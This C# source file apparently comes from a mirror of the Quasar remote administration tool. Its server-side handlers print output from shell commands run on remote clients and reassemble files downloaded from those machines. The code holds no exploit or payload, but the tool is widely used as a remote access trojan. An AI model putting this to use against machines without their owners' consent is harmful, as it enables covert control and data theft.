mirror of https://github.com/quasar/Quasar.git
101 lines
3.8 KiB
C#
101 lines
3.8 KiB
C#
using System;
|
|
using System.IO;
|
|
using xServer.Core.Helper;
|
|
using xServer.Core.Networking;
|
|
using xServer.Core.Packets.ClientPackets;
|
|
using xServer.Forms;
|
|
|
|
namespace xServer.Core.Commands
|
|
{
|
|
/* THIS PARTIAL CLASS SHOULD CONTAIN MISCELLANEOUS METHODS. */
|
|
public static partial class CommandHandler
|
|
{
|
|
public static void HandleDoShellExecuteResponse(Client client, DoShellExecuteResponse packet)
|
|
{
|
|
if (client.Value.FrmRs == null || string.IsNullOrEmpty(packet.Output))
|
|
return;
|
|
|
|
if (packet.IsError)
|
|
client.Value.FrmRs.PrintError(packet.Output);
|
|
else
|
|
client.Value.FrmRs.PrintMessage(packet.Output);
|
|
}
|
|
|
|
public static void HandleDoDownloadFileResponse(Client client, DoDownloadFileResponse packet)
|
|
{
|
|
if (CanceledDownloads.ContainsKey(packet.ID) || string.IsNullOrEmpty(packet.Filename))
|
|
return;
|
|
|
|
if (!Directory.Exists(client.Value.DownloadDirectory))
|
|
Directory.CreateDirectory(client.Value.DownloadDirectory);
|
|
|
|
string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename);
|
|
|
|
if (packet.CurrentBlock == 0 && File.Exists(downloadPath))
|
|
{
|
|
for (int i = 1; i < 100; i++)
|
|
{
|
|
var newFileName = string.Format("{0}_{1}{2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath));
|
|
if (File.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName))) continue;
|
|
|
|
downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName);
|
|
RenamedFiles.Add(packet.ID, newFileName);
|
|
break;
|
|
}
|
|
}
|
|
else if (packet.CurrentBlock > 0 && File.Exists(downloadPath) && RenamedFiles.ContainsKey(packet.ID))
|
|
{
|
|
downloadPath = Path.Combine(client.Value.DownloadDirectory, RenamedFiles[packet.ID]);
|
|
}
|
|
|
|
if (client.Value.FrmFm == null)
|
|
{
|
|
FrmMain.Instance.SetStatusByClient(client, "Download aborted, please keep the File Manager open.");
|
|
new Packets.ServerPackets.DoDownloadFileCancel(packet.ID).Execute(client);
|
|
return;
|
|
}
|
|
|
|
int index = client.Value.FrmFm.GetTransferIndex(packet.ID);
|
|
if (index < 0)
|
|
return;
|
|
|
|
|
|
if (!string.IsNullOrEmpty(packet.CustomMessage))
|
|
{
|
|
if (client.Value.FrmFm == null) // abort download when form is closed
|
|
return;
|
|
|
|
client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0);
|
|
return;
|
|
}
|
|
|
|
FileSplit destFile = new FileSplit(downloadPath);
|
|
if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock))
|
|
{
|
|
if (client.Value.FrmFm == null)
|
|
return;
|
|
|
|
client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0);
|
|
return;
|
|
}
|
|
|
|
decimal progress =
|
|
Math.Round((decimal) ((double) (packet.CurrentBlock + 1)/(double) packet.MaxBlocks*100.0), 2);
|
|
|
|
if (client.Value.FrmFm == null)
|
|
return;
|
|
|
|
if (CanceledDownloads.ContainsKey(packet.ID)) return;
|
|
|
|
client.Value.FrmFm.UpdateTransferStatus(index, string.Format("Downloading...({0}%)", progress), -1);
|
|
|
|
if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
|
|
{
|
|
if (client.Value.FrmFm == null)
|
|
return;
|
|
RenamedFiles.Remove(packet.ID);
|
|
client.Value.FrmFm.UpdateTransferStatus(index, "Completed", 1);
|
|
}
|
|
}
|
|
}
|
|
} |